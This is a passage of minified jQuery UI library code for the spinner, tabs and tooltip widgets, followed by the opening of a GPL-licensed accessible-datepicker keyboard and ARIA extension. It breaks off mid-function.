t=this.element.val();e.apply(this,arguments),this._refresh(),t!==this.element.val()&&this._trigger("change")}}V.widget("ui.spinner",{version:"1.13.2",defaultElement:"<input>",widgetEventPrefix:"spin",options:{classes:{"ui-spinner":"ui-corner-all","ui-spinner-down":"ui-corner-br","ui-spinner-up":"ui-corner-tr"},culture:null,icons:{down:"ui-icon-triangle-1-s",up:"ui-icon-triangle-1-n"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption("max",this.options.max),this._setOption("min",this.options.min),this._setOption("step",this.options.step),""!==this.value()&&this._value(this.element.val(),!0),this._draw(),this._on(this._events),this._refresh(),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_getCreateOptions:function(){var s=this._super(),n=this.element;return V.each(["min","max","step"],function(t,e){var i=n.attr(e);null!=i&&i.length&&(s[e]=i)}),s},_events:{keydown:function(t){this._start(t)&&this._keydown(t)&&t.preventDefault()},keyup:"_stop",focus:function(){this.previous=this.element.val()},blur:function(t){this.cancelBlur?delete this.cancelBlur:(this._stop(),this._refresh(),this.previous!==this.element.val()&&this._trigger("change",t))},mousewheel:function(t,e){var i=V.ui.safeActiveElement(this.document[0]);if(this.element[0]===i&&e){if(!this.spinning&&!this._start(t))return!1;this._spin((0<e?1:-1)*this.options.step,t),clearTimeout(this.mousewheelTimer),this.mousewheelTimer=this._delay(function(){this.spinning&&this._stop(t)},100),t.preventDefault()}},"mousedown .ui-spinner-button":function(t){var e;function i(){this.element[0]===V.ui.safeActiveElement(this.document[0])||(this.element.trigger("focus"),this.previous=e,this._delay(function(){this.previous=e}))}e=this.element[0]===V.ui.safeActiveElement(this.document[0])?this.previous:this.element.val(),t.preventDefault(),i.call(this),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,i.call(this)}),!1!==this._start(t)&&this._repeat(null,V(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseup .ui-spinner-button":"_stop","mouseenter .ui-spinner-button":function(t){if(V(t.currentTarget).hasClass("ui-state-active"))return!1!==this._start(t)&&void this._repeat(null,V(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseleave .ui-spinner-button":"_stop"},_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap("<span>").parent().append("<a></a><a></a>")},_draw:function(){this._enhance(),this._addClass(this.uiSpinner,"ui-spinner","ui-widget ui-widget-content"),this._addClass("ui-spinner-input"),this.element.attr("role","spinbutton"),this.buttons=this.uiSpinner.children("a").attr("tabIndex",-1).attr("aria-hidden",!0).button({classes:{"ui-button":""}}),this._removeClass(this.buttons,"ui-corner-all"),this._addClass(this.buttons.first(),"ui-spinner-button ui-spinner-up"),this._addClass(this.buttons.last(),"ui-spinner-button ui-spinner-down"),this.buttons.first().button({icon:this.options.icons.up,showLabel:!1}),this.buttons.last().button({icon:this.options.icons.down,showLabel:!1}),this.buttons.height()>Math.ceil(.5*this.uiSpinner.height())&&0<this.uiSpinner.height()&&this.uiSpinner.height(this.uiSpinner.height())},_keydown:function(t){var e=this.options,i=V.ui.keyCode;switch(t.keyCode){case i.UP:return this._repeat(null,1,t),!0;case i.DOWN:return this._repeat(null,-1,t),!0;case i.PAGE_UP:return this._repeat(null,e.page,t),!0;case i.PAGE_DOWN:return this._repeat(null,-e.page,t),!0}return!1},_start:function(t){return!(!this.spinning&&!1===this._trigger("start",t))&&(this.counter||(this.counter=1),this.spinning=!0)},_repeat:function(t,e,i){t=t||500,clearTimeout(this.timer),this.timer=this._delay(function(){this._repeat(40,e,i)},t),this._spin(e*this.options.step,i)},_spin:function(t,e){var i=this.value()||0;this.counter||(this.counter=1),i=this._adjustValue(i+t*this._increment(this.counter)),this.spinning&&!1===this._trigger("spin",e,{value:i})||(this._value(i),this.counter++)},_increment:function(t){var e=this.options.incremental;return e?"function"==typeof e?e(t):Math.floor(t*t*t/5e4-t*t/500+17*t/200+1):1},_precision:function(){var t=this._precisionOf(this.options.step);return t=null!==this.options.min?Math.max(t,this._precisionOf(this.options.min)):t},_precisionOf:function(t){var e=t.toString(),t=e.indexOf(".");return-1===t?0:e.length-t-1},_adjustValue:function(t){var e=this.options,i=null!==e.min?e.min:0,s=t-i;return t=i+Math.round(s/e.step)*e.step,t=parseFloat(t.toFixed(this._precision())),null!==e.max&&t>e.max?e.max:null!==e.min&&t<e.min?e.min:t},_stop:function(t){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger("stop",t))},_setOption:function(t,e){var i;if("culture"===t||"numberFormat"===t)return i=this._parse(this.element.val()),this.options[t]=e,void this.element.val(this._format(i));"max"!==t&&"min"!==t&&"step"!==t||"string"==typeof e&&(e=this._parse(e)),"icons"===t&&(i=this.buttons.first().find(".ui-icon"),this._removeClass(i,null,this.options.icons.up),this._addClass(i,null,e.up),i=this.buttons.last().find(".ui-icon"),this._removeClass(i,null,this.options.icons.down),this._addClass(i,null,e.down)),this._super(t,e)},_setOptionDisabled:function(t){this._super(t),this._toggleClass(this.uiSpinner,null,"ui-state-disabled",!!t),this.element.prop("disabled",!!t),this.buttons.button(t?"disable":"enable")},_setOptions:ht(function(t){this._super(t)}),_parse:function(t){return""===(t="string"==typeof t&&""!==t?window.Globalize&&this.options.numberFormat?Globalize.parseFloat(t,10,this.options.culture):+t:t)||isNaN(t)?null:t},_format:function(t){return""===t?"":window.Globalize&&this.options.numberFormat?Globalize.format(t,this.options.numberFormat,this.options.culture):t},_refresh:function(){this.element.attr({"aria-valuemin":this.options.min,"aria-valuemax":this.options.max,"aria-valuenow":this._parse(this.element.val())})},isValid:function(){var t=this.value();return null!==t&&t===this._adjustValue(t)},_value:function(t,e){var i;""!==t&&null!==(i=this._parse(t))&&(e||(i=this._adjustValue(i)),t=this._format(i)),this.element.val(t),this._refresh()},_destroy:function(){this.element.prop("disabled",!1).removeAttr("autocomplete role aria-valuemin aria-valuemax aria-valuenow"),this.uiSpinner.replaceWith(this.element)},stepUp:ht(function(t){this._stepUp(t)}),_stepUp:function(t){this._start()&&(this._spin((t||1)*this.options.step),this._stop())},stepDown:ht(function(t){this._stepDown(t)}),_stepDown:function(t){this._start()&&(this._spin((t||1)*-this.options.step),this._stop())},pageUp:ht(function(t){this._stepUp((t||1)*this.options.page)}),pageDown:ht(function(t){this._stepDown((t||1)*this.options.page)}),value:function(t){if(!arguments.length)return this._parse(this.element.val());ht(this._value).call(this,t)},widget:function(){return this.uiSpinner}}),!1!==V.uiBackCompat&&V.widget("ui.spinner",V.ui.spinner,{_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml())},_uiSpinnerHtml:function(){return"<span>"},_buttonHtml:function(){return"<a></a><a></a>"}});var ct;V.ui.spinner;V.widget("ui.tabs",{version:"1.13.2",delay:300,options:{active:null,classes:{"ui-tabs":"ui-corner-all","ui-tabs-nav":"ui-corner-all","ui-tabs-panel":"ui-corner-bottom","ui-tabs-tab":"ui-corner-top"},collapsible:!1,event:"click",heightStyle:"content",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_isLocal:(ct=/#.*$/,function(t){var e=t.href.replace(ct,""),i=location.href.replace(ct,"");try{e=decodeURIComponent(e)}catch(t){}try{i=decodeURIComponent(i)}catch(t){}return 1<t.hash.length&&e===i}),_create:function(){var e=this,t=this.options;this.running=!1,this._addClass("ui-tabs","ui-widget ui-widget-content"),this._toggleClass("ui-tabs-collapsible",null,t.collapsible),this._processTabs(),t.active=this._initialActive(),Array.isArray(t.disabled)&&(t.disabled=V.uniqueSort(t.disabled.concat(V.map(this.tabs.filter(".ui-state-disabled"),function(t){return e.tabs.index(t)}))).sort()),!1!==this.options.active&&this.anchors.length?this.active=this._findActive(t.active):this.active=V(),this._refresh(),this.active.length&&this.load(t.active)},_initialActive:function(){var i=this.options.active,t=this.options.collapsible,s=location.hash.substring(1);return null===i&&(s&&this.tabs.each(function(t,e){if(V(e).attr("aria-controls")===s)return i=t,!1}),null!==(i=null===i?this.tabs.index(this.tabs.filter(".ui-tabs-active")):i)&&-1!==i||(i=!!this.tabs.length&&0)),!1!==i&&-1===(i=this.tabs.index(this.tabs.eq(i)))&&(i=!t&&0),i=!t&&!1===i&&this.anchors.length?0:i},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):V()}},_tabKeydown:function(t){var e=V(V.ui.safeActiveElement(this.document[0])).closest("li"),i=this.tabs.index(e),s=!0;if(!this._handlePageNav(t)){switch(t.keyCode){case V.ui.keyCode.RIGHT:case V.ui.keyCode.DOWN:i++;break;case V.ui.keyCode.UP:case V.ui.keyCode.LEFT:s=!1,i--;break;case V.ui.keyCode.END:i=this.anchors.length-1;break;case V.ui.keyCode.HOME:i=0;break;case V.ui.keyCode.SPACE:return t.preventDefault(),clearTimeout(this.activating),void this._activate(i);case V.ui.keyCode.ENTER:return t.preventDefault(),clearTimeout(this.activating),void this._activate(i!==this.options.active&&i);default:return}t.preventDefault(),clearTimeout(this.activating),i=this._focusNextTab(i,s),t.ctrlKey||t.metaKey||(e.attr("aria-selected","false"),this.tabs.eq(i).attr("aria-selected","true"),this.activating=this._delay(function(){this.option("active",i)},this.delay))}},_panelKeydown:function(t){this._handlePageNav(t)||t.ctrlKey&&t.keyCode===V.ui.keyCode.UP&&(t.preventDefault(),this.active.trigger("focus"))},_handlePageNav:function(t){return t.altKey&&t.keyCode===V.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):t.altKey&&t.keyCode===V.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):void 0},_findNextTab:function(t,e){var i=this.tabs.length-1;for(;-1!==V.inArray(t=(t=i<t?0:t)<0?i:t,this.options.disabled);)t=e?t+1:t-1;return t},_focusNextTab:function(t,e){return t=this._findNextTab(t,e),this.tabs.eq(t).trigger("focus"),t},_setOption:function(t,e){"active"!==t?(this._super(t,e),"collapsible"===t&&(this._toggleClass("ui-tabs-collapsible",null,e),e||!1!==this.options.active||this._activate(0)),"event"===t&&this._setupEvents(e),"heightStyle"===t&&this._setupHeightStyle(e)):this._activate(e)},_sanitizeSelector:function(t){return t?t.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var t=this.options,e=this.tablist.children(":has(a[href])");t.disabled=V.map(e.filter(".ui-state-disabled"),function(t){return e.index(t)}),this._processTabs(),!1!==t.active&&this.anchors.length?this.active.length&&!V.contains(this.tablist[0],this.active[0])?this.tabs.length===t.disabled.length?(t.active=!1,this.active=V()):this._activate(this._findNextTab(Math.max(0,t.active-1),!1)):t.active=this.tabs.index(this.active):(t.active=!1,this.active=V()),this._refresh()},_refresh:function(){this._setOptionDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-hidden":"true"}),this.active.length?(this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}),this._addClass(this.active,"ui-tabs-active","ui-state-active"),this._getPanelForTab(this.active).show().attr({"aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var l=this,t=this.tabs,e=this.anchors,i=this.panels;this.tablist=this._getList().attr("role","tablist"),this._addClass(this.tablist,"ui-tabs-nav","ui-helper-reset ui-helper-clearfix ui-widget-header"),this.tablist.on("mousedown"+this.eventNamespace,"> li",function(t){V(this).is(".ui-state-disabled")&&t.preventDefault()}).on("focus"+this.eventNamespace,".ui-tabs-anchor",function(){V(this).closest("li").is(".ui-state-disabled")&&this.blur()}),this.tabs=this.tablist.find("> li:has(a[href])").attr({role:"tab",tabIndex:-1}),this._addClass(this.tabs,"ui-tabs-tab","ui-state-default"),this.anchors=this.tabs.map(function(){return V("a",this)[0]}).attr({tabIndex:-1}),this._addClass(this.anchors,"ui-tabs-anchor"),this.panels=V(),this.anchors.each(function(t,e){var i,s,n,o=V(e).uniqueId().attr("id"),a=V(e).closest("li"),r=a.attr("aria-controls");l._isLocal(e)?(n=(i=e.hash).substring(1),s=l.element.find(l._sanitizeSelector(i))):(n=a.attr("aria-controls")||V({}).uniqueId()[0].id,(s=l.element.find(i="#"+n)).length||(s=l._createPanel(n)).insertAfter(l.panels[t-1]||l.tablist),s.attr("aria-live","polite")),s.length&&(l.panels=l.panels.add(s)),r&&a.data("ui-tabs-aria-controls",r),a.attr({"aria-controls":n,"aria-labelledby":o}),s.attr("aria-labelledby",o)}),this.panels.attr("role","tabpanel"),this._addClass(this.panels,"ui-tabs-panel","ui-widget-content"),t&&(this._off(t.not(this.tabs)),this._off(e.not(this.anchors)),this._off(i.not(this.panels)))},_getList:function(){return this.tablist||this.element.find("ol, ul").eq(0)},_createPanel:function(t){return V("<div>").attr("id",t).data("ui-tabs-destroy",!0)},_setOptionDisabled:function(t){var e,i;for(Array.isArray(t)&&(t.length?t.length===this.anchors.length&&(t=!0):t=!1),i=0;e=this.tabs[i];i++)e=V(e),!0===t||-1!==V.inArray(i,t)?(e.attr("aria-disabled","true"),this._addClass(e,null,"ui-state-disabled")):(e.removeAttr("aria-disabled"),this._removeClass(e,null,"ui-state-disabled"));this.options.disabled=t,this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!0===t)},_setupEvents:function(t){var i={};t&&V.each(t.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(!0,this.anchors,{click:function(t){t.preventDefault()}}),this._on(this.anchors,i),this._on(this.tabs,{keydown:"_tabKeydown"}),this._on(this.panels,{keydown:"_panelKeydown"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(t){var i,e=this.element.parent();"fill"===t?(i=e.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each(function(){var t=V(this),e=t.css("position");"absolute"!==e&&"fixed"!==e&&(i-=t.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=V(this).outerHeight(!0)}),this.panels.each(function(){V(this).height(Math.max(0,i-V(this).innerHeight()+V(this).height()))}).css("overflow","auto")):"auto"===t&&(i=0,this.panels.each(function(){i=Math.max(i,V(this).height("").height())}).height(i))},_eventHandler:function(t){var e=this.options,i=this.active,s=V(t.currentTarget).closest("li"),n=s[0]===i[0],o=n&&e.collapsible,a=o?V():this._getPanelForTab(s),r=i.length?this._getPanelForTab(i):V(),i={oldTab:i,oldPanel:r,newTab:o?V():s,newPanel:a};t.preventDefault(),s.hasClass("ui-state-disabled")||s.hasClass("ui-tabs-loading")||this.running||n&&!e.collapsible||!1===this._trigger("beforeActivate",t,i)||(e.active=!o&&this.tabs.index(s),this.active=n?V():s,this.xhr&&this.xhr.abort(),r.length||a.length||V.error("jQuery UI Tabs: Mismatching fragment identifier."),a.length&&this.load(this.tabs.index(s),t),this._toggle(t,i))},_toggle:function(t,e){var i=this,s=e.newPanel,n=e.oldPanel;function o(){i.running=!1,i._trigger("activate",t,e)}function a(){i._addClass(e.newTab.closest("li"),"ui-tabs-active","ui-state-active"),s.length&&i.options.show?i._show(s,i.options.show,o):(s.show(),o())}this.running=!0,n.length&&this.options.hide?this._hide(n,this.options.hide,function(){i._removeClass(e.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),a()}):(this._removeClass(e.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),n.hide(),a()),n.attr("aria-hidden","true"),e.oldTab.attr({"aria-selected":"false","aria-expanded":"false"}),s.length&&n.length?e.oldTab.attr("tabIndex",-1):s.length&&this.tabs.filter(function(){return 0===V(this).attr("tabIndex")}).attr("tabIndex",-1),s.attr("aria-hidden","false"),e.newTab.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_activate:function(t){var t=this._findActive(t);t[0]!==this.active[0]&&(t=(t=!t.length?this.active:t).find(".ui-tabs-anchor")[0],this._eventHandler({target:t,currentTarget:t,preventDefault:V.noop}))},_findActive:function(t){return!1===t?V():this.tabs.eq(t)},_getIndex:function(t){return t="string"==typeof t?this.anchors.index(this.anchors.filter("[href$='"+V.escapeSelector(t)+"']")):t},_destroy:function(){this.xhr&&this.xhr.abort(),this.tablist.removeAttr("role").off(this.eventNamespace),this.anchors.removeAttr("role tabIndex").removeUniqueId(),this.tabs.add(this.panels).each(function(){V.data(this,"ui-tabs-destroy")?V(this).remove():V(this).removeAttr("role tabIndex aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded")}),this.tabs.each(function(){var t=V(this),e=t.data("ui-tabs-aria-controls");e?t.attr("aria-controls",e).removeData("ui-tabs-aria-controls"):t.removeAttr("aria-controls")}),this.panels.show(),"content"!==this.options.heightStyle&&this.panels.css("height","")},enable:function(i){var t=this.options.disabled;!1!==t&&(t=void 0!==i&&(i=this._getIndex(i),Array.isArray(t)?V.map(t,function(t){return t!==i?t:null}):V.map(this.tabs,function(t,e){return e!==i?e:null})),this._setOptionDisabled(t))},disable:function(t){var e=this.options.disabled;if(!0!==e){if(void 0===t)e=!0;else{if(t=this._getIndex(t),-1!==V.inArray(t,e))return;e=Array.isArray(e)?V.merge([t],e).sort():[t]}this._setOptionDisabled(e)}},load:function(t,s){t=this._getIndex(t);function n(t,e){"abort"===e&&o.panels.stop(!1,!0),o._removeClass(i,"ui-tabs-loading"),a.removeAttr("aria-busy"),t===o.xhr&&delete o.xhr}var o=this,i=this.tabs.eq(t),t=i.find(".ui-tabs-anchor"),a=this._getPanelForTab(i),r={tab:i,panel:a};this._isLocal(t[0])||(this.xhr=V.ajax(this._ajaxSettings(t,s,r)),this.xhr&&"canceled"!==this.xhr.statusText&&(this._addClass(i,"ui-tabs-loading"),a.attr("aria-busy","true"),this.xhr.done(function(t,e,i){setTimeout(function(){a.html(t),o._trigger("load",s,r),n(i,e)},1)}).fail(function(t,e){setTimeout(function(){n(t,e)},1)})))},_ajaxSettings:function(t,i,s){var n=this;return{url:t.attr("href").replace(/#.*$/,""),beforeSend:function(t,e){return n._trigger("beforeLoad",i,V.extend({jqXHR:t,ajaxSettings:e},s))}}},_getPanelForTab:function(t){t=V(t).attr("aria-controls");return this.element.find(this._sanitizeSelector("#"+t))}}),!1!==V.uiBackCompat&&V.widget("ui.tabs",V.ui.tabs,{_processTabs:function(){this._superApply(arguments),this._addClass(this.tabs,"ui-tab")}});V.ui.tabs;V.widget("ui.tooltip",{version:"1.13.2",options:{classes:{"ui-tooltip":"ui-corner-all ui-widget-shadow"},content:function(){var t=V(this).attr("title");return V("<a>").text(t).html()},hide:!0,items:"[title]:not([disabled])",position:{my:"left top+15",at:"left bottom",collision:"flipfit flip"},show:!0,track:!1,close:null,open:null},_addDescribedBy:function(t,e){var i=(t.attr("aria-describedby")||"").split(/\s+/);i.push(e),t.data("ui-tooltip-id",e).attr("aria-describedby",String.prototype.trim.call(i.join(" ")))},_removeDescribedBy:function(t){var e=t.data("ui-tooltip-id"),i=(t.attr("aria-describedby")||"").split(/\s+/),e=V.inArray(e,i);-1!==e&&i.splice(e,1),t.removeData("ui-tooltip-id"),(i=String.prototype.trim.call(i.join(" ")))?t.attr("aria-describedby",i):t.removeAttr("aria-describedby")},_create:function(){this._on({mouseover:"open",focusin:"open"}),this.tooltips={},this.parents={},this.liveRegion=V("<div>").attr({role:"log","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this.disabledTitles=V([])},_setOption:function(t,e){var i=this;this._super(t,e),"content"===t&&V.each(this.tooltips,function(t,e){i._updateContent(e.element)})},_setOptionDisabled:function(t){this[t?"_disable":"_enable"]()},_disable:function(){var s=this;V.each(this.tooltips,function(t,e){var i=V.Event("blur");i.target=i.currentTarget=e.element[0],s.close(i,!0)}),this.disabledTitles=this.disabledTitles.add(this.element.find(this.options.items).addBack().filter(function(){var t=V(this);if(t.is("[title]"))return t.data("ui-tooltip-title",t.attr("title")).removeAttr("title")}))},_enable:function(){this.disabledTitles.each(function(){var t=V(this);t.data("ui-tooltip-title")&&t.attr("title",t.data("ui-tooltip-title"))}),this.disabledTitles=V([])},open:function(t){var i=this,e=V(t?t.target:this.element).closest(this.options.items);e.length&&!e.data("ui-tooltip-id")&&(e.attr("title")&&e.data("ui-tooltip-title",e.attr("title")),e.data("ui-tooltip-open",!0),t&&"mouseover"===t.type&&e.parents().each(function(){var t,e=V(this);e.data("ui-tooltip-open")&&((t=V.Event("blur")).target=t.currentTarget=this,i.close(t,!0)),e.attr("title")&&(e.uniqueId(),i.parents[this.id]={element:this,title:e.attr("title")},e.attr("title",""))}),this._registerCloseHandlers(t,e),this._updateContent(e,t))},_updateContent:function(e,i){var t=this.options.content,s=this,n=i?i.type:null;if("string"==typeof t||t.nodeType||t.jquery)return this._open(i,e,t);(t=t.call(e[0],function(t){s._delay(function(){e.data("ui-tooltip-open")&&(i&&(i.type=n),this._open(i,e,t))})}))&&this._open(i,e,t)},_open:function(t,e,i){var s,n,o,a=V.extend({},this.options.position);function r(t){a.of=t,n.is(":hidden")||n.position(a)}i&&((s=this._find(e))?s.tooltip.find(".ui-tooltip-content").html(i):(e.is("[title]")&&(t&&"mouseover"===t.type?e.attr("title",""):e.removeAttr("title")),s=this._tooltip(e),n=s.tooltip,this._addDescribedBy(e,n.attr("id")),n.find(".ui-tooltip-content").html(i),this.liveRegion.children().hide(),(i=V("<div>").html(n.find(".ui-tooltip-content").html())).removeAttr("name").find("[name]").removeAttr("name"),i.removeAttr("id").find("[id]").removeAttr("id"),i.appendTo(this.liveRegion),this.options.track&&t&&/^mouse/.test(t.type)?(this._on(this.document,{mousemove:r}),r(t)):n.position(V.extend({of:e},this.options.position)),n.hide(),this._show(n,this.options.show),this.options.track&&this.options.show&&this.options.show.delay&&(o=this.delayedShow=setInterval(function(){n.is(":visible")&&(r(a.of),clearInterval(o))},13)),this._trigger("open",t,{tooltip:n})))},_registerCloseHandlers:function(t,e){var i={keyup:function(t){t.keyCode===V.ui.keyCode.ESCAPE&&((t=V.Event(t)).currentTarget=e[0],this.close(t,!0))}};e[0]!==this.element[0]&&(i.remove=function(){var t=this._find(e);t&&this._removeTooltip(t.tooltip)}),t&&"mouseover"!==t.type||(i.mouseleave="close"),t&&"focusin"!==t.type||(i.focusout="close"),this._on(!0,e,i)},close:function(t){var e,i=this,s=V(t?t.currentTarget:this.element),n=this._find(s);n?(e=n.tooltip,n.closing||(clearInterval(this.delayedShow),s.data("ui-tooltip-title")&&!s.attr("title")&&s.attr("title",s.data("ui-tooltip-title")),this._removeDescribedBy(s),n.hiding=!0,e.stop(!0),this._hide(e,this.options.hide,function(){i._removeTooltip(V(this))}),s.removeData("ui-tooltip-open"),this._off(s,"mouseleave focusout keyup"),s[0]!==this.element[0]&&this._off(s,"remove"),this._off(this.document,"mousemove"),t&&"mouseleave"===t.type&&V.each(this.parents,function(t,e){V(e.element).attr("title",e.title),delete i.parents[t]}),n.closing=!0,this._trigger("close",t,{tooltip:e}),n.hiding||(n.closing=!1))):s.removeData("ui-tooltip-open")},_tooltip:function(t){var e=V("<div>").attr("role","tooltip"),i=V("<div>").appendTo(e),s=e.uniqueId().attr("id");return this._addClass(i,"ui-tooltip-content"),this._addClass(e,"ui-tooltip","ui-widget ui-widget-content"),e.appendTo(this._appendTo(t)),this.tooltips[s]={element:t,tooltip:e}},_find:function(t){t=t.data("ui-tooltip-id");return t?this.tooltips[t]:null},_removeTooltip:function(t){clearInterval(this.delayedShow),t.remove(),delete this.tooltips[t.attr("id")]},_appendTo:function(t){t=t.closest(".ui-front, dialog");return t=!t.length?this.document[0].body:t},_destroy:function(){var s=this;V.each(this.tooltips,function(t,e){var i=V.Event("blur"),e=e.element;i.target=i.currentTarget=e[0],s.close(i,!0),V("#"+t).remove(),e.data("ui-tooltip-title")&&(e.attr("title")||e.attr("title",e.data("ui-tooltip-title")),e.removeData("ui-tooltip-title"))}),this.liveRegion.remove()}}),!1!==V.uiBackCompat&&V.widget("ui.tooltip",V.ui.tooltip,{options:{tooltipClass:null},_tooltip:function(){var t=this._superApply(arguments);return this.options.tooltipClass&&t.tooltip.addClass(this.options.tooltipClass),t}});V.ui.tooltip});
/*! jQuery UI Accessible Datepicker extension
* (to be appended to jquery-ui-*.custom.min.js)
*
* @licstart The following is the entire license notice for the
*  JavaScript code in this page.
*
* Copyright 2014 Kolab Systems AG
*
* The JavaScript code in this page is free software: you can
* redistribute it and/or modify it under the terms of the GNU
* General Public License (GNU GPL) as published by the Free Software
* Foundation, either version 3 of the License, or (at your option)
* any later version.  The code is distributed WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
*
* As additional permission under GNU GPL version 3 section 7, you
* may distribute non-source (e.g., minimized or compacted) forms of
* that code without the copy of the GNU GPL normally required by
* section 4, provided you include this license notice and a URL
* through which recipients can access the Corresponding Source.
*
* @licend The above is the entire license notice
*  for the JavaScript code in this page.
*/

(function($, undefined) {

// references to super class methods
var __newInst           = $.datepicker._newInst;
var __updateDatepicker  = $.datepicker._updateDatepicker;
var __connectDatepicker = $.datepicker._connectDatepicker;
var __showDatepicker    = $.datepicker._showDatepicker;
var __hideDatepicker    = $.datepicker._hideDatepicker;

// "extend" singleton instance methods
$.extend($.datepicker, {

	/* Create a new instance object */
	_newInst: function(target, inline) {
		var that = this, inst = __newInst.call(this, target, inline);

		if (inst.inline) {
			// attach keyboard event handler
			inst.dpDiv.on('keydown.datepicker', '.ui-datepicker-calendar', function(event) {
				// we're only interested navigation keys
				if ($.inArray(event.keyCode, [ 13, 33, 34, 35, 36, 37, 38, 39, 40]) == -1) {
					return;
				}
				event.stopPropagation();
				event.preventDefault();
				inst._hasfocus = true;

				var activeCell;
				switch (event.keyCode) {
					case $.ui.keyCode.ENTER:
						if ((activeCell = $('.' + that._dayOverClass, inst.dpDiv).get(0) || $('.' + that._currentClass, inst.dpDiv).get(0))) {
							that._selectDay(inst.input, inst.selectedMonth, inst.selectedYear, activeCell);
						}
						break;

					case $.ui.keyCode.PAGE_UP:
						that._adjustDate(inst.input, -that._get(inst, 'stepMonths'), 'M');
						break;
					case $.ui.keyCode.PAGE_DOWN:
						that._adjustDate(inst.input, that._get(inst, 'stepMonths'), 'M');
						break;

					default:
						return that._cursorKeydown(event, inst);
				}
			})
			.attr('role', 'region')
			.attr('aria-labelledby', inst.id + '-dp-title');
		}
		else {
			var widgetId = inst.dpDiv.attr('id') || inst.id + '-dp-widget';
			inst.dpDiv.attr('id', widgetId)
				.attr('aria-hidden', 'true')
				.attr('aria-labelledby', inst.id + '-dp-title');

				$(inst.input).attr('aria-haspopup', 'true')
					.attr('aria-expanded', 'false')
					.attr('aria-owns', widgetId);
		}

		return inst;
	},

	/* Attach the date picker to an input field */
	_connectDatepicker: function(target, inst) {
		__connectDatepicker.call(this, target, inst);

		var that = this;

		// register additional keyboard events to control date selection with cursor keys
		$(target).unbind('keydown.datepicker-extended').bind('keydown.datepicker-extended', function(event) {
			var inc = 1;
			switch (event.keyCode) {
				case 109:
				case 173:
				case 189:  // "minus"
					inc = -1;
				case 61:
				case 107:
				case 187:  // "plus"
					// do nothing if the input does not contain full date string
					if (this.value.length < that._formatDate(inst, inst.selectedDay, inst.selectedMonth, inst.selectedYear).length) {
						return true;
					}
					that._adjustInstDate(inst, inc, 'D');
					that._selectDateRC(target, that._formatDate(inst, inst.selectedDay, inst.selectedMonth, inst.selectedYear));
					return false;

				case $.ui.keyCode.UP:
				case $.ui.keyCode.DOWN:
					// unfold datepicker if not visible
					if ($.datepicker._lastInput !== target && !$.datepicker._isDisabledDatepicker(target)) {
						that._showDatepicker(event);
						event.stopPropagation();
						event.preventDefault();
						return false;
					}

				default:
					if (!$.datepicker._isDisabledDatepicker(target) && !event.ctrlKey && !event.metaKey) {
						return that._cursorKeydown(event, inst);
					}
			}
		})
		// fix https://bugs.jqueryui.com/ticket/8593
		.click(function (event) { that._showDatepicker(event); })
		.attr('autocomplete', 'off');
	},

	/* Handle keyboard event on datepicker widget */
	_cursorKeydown: function(event, inst) {
		inst._keyEvent = true;

		var isRTL = inst.dpDiv.hasClass('ui-datepicker-rtl');

		switch (event.keyCode) {
			case $.ui.keyCode.LEFT:
				this._adjustDate(inst.input, (isRTL ? +1 : -1), 'D');
				break;
			case $.ui.keyCode.RIGHT:
				this._adjustDate(inst.input, (isRTL ? -1 : +1), 'D');
				break;
			case $.ui.keyCode.UP:
				this._adjustDate(inst.input, -7, 'D');
				break;
			case $.ui.keyCode.DOWN:
				this._adjustDate(inst.input, +7, 'D');
				break;
			case $.ui.keyCode.HOME:
				// TODO: jump to first of month
				break;
			case $.ui.keyCode.END:
				// TODO: jump to end of month
				break;
		}

		return true;
	},

	/* Pop-up the date picker for a given input field */
	_showDatepicker: function(input) {
		input = input.target || input;
		__showDatepicker.call(this, input);

		var inst = $.datepicker._getInst(input);
		if (inst && $.datepicker._datepickerShowing) {
			inst.dpDiv.attr('aria-hidden', 'false');
			$(input).attr('aria-expanded', 'true');
		}
	},

	/* Hide the date picker from view */
	_hideDatepicker: function(input) {
		__hideDatepicker.call(this, input);

		var inst = this._curInst;
		if (inst && !$.datepicker._datepickerShowing) {
			inst.dpDiv.attr('aria-hidden', 'true');
			$(inst.input).attr('aria-expanded', 'false');
		}
	},

	/* Render the date picker content */
	_updateDatepicker: function(inst) {
		__updateDatepicker.call(this, inst);

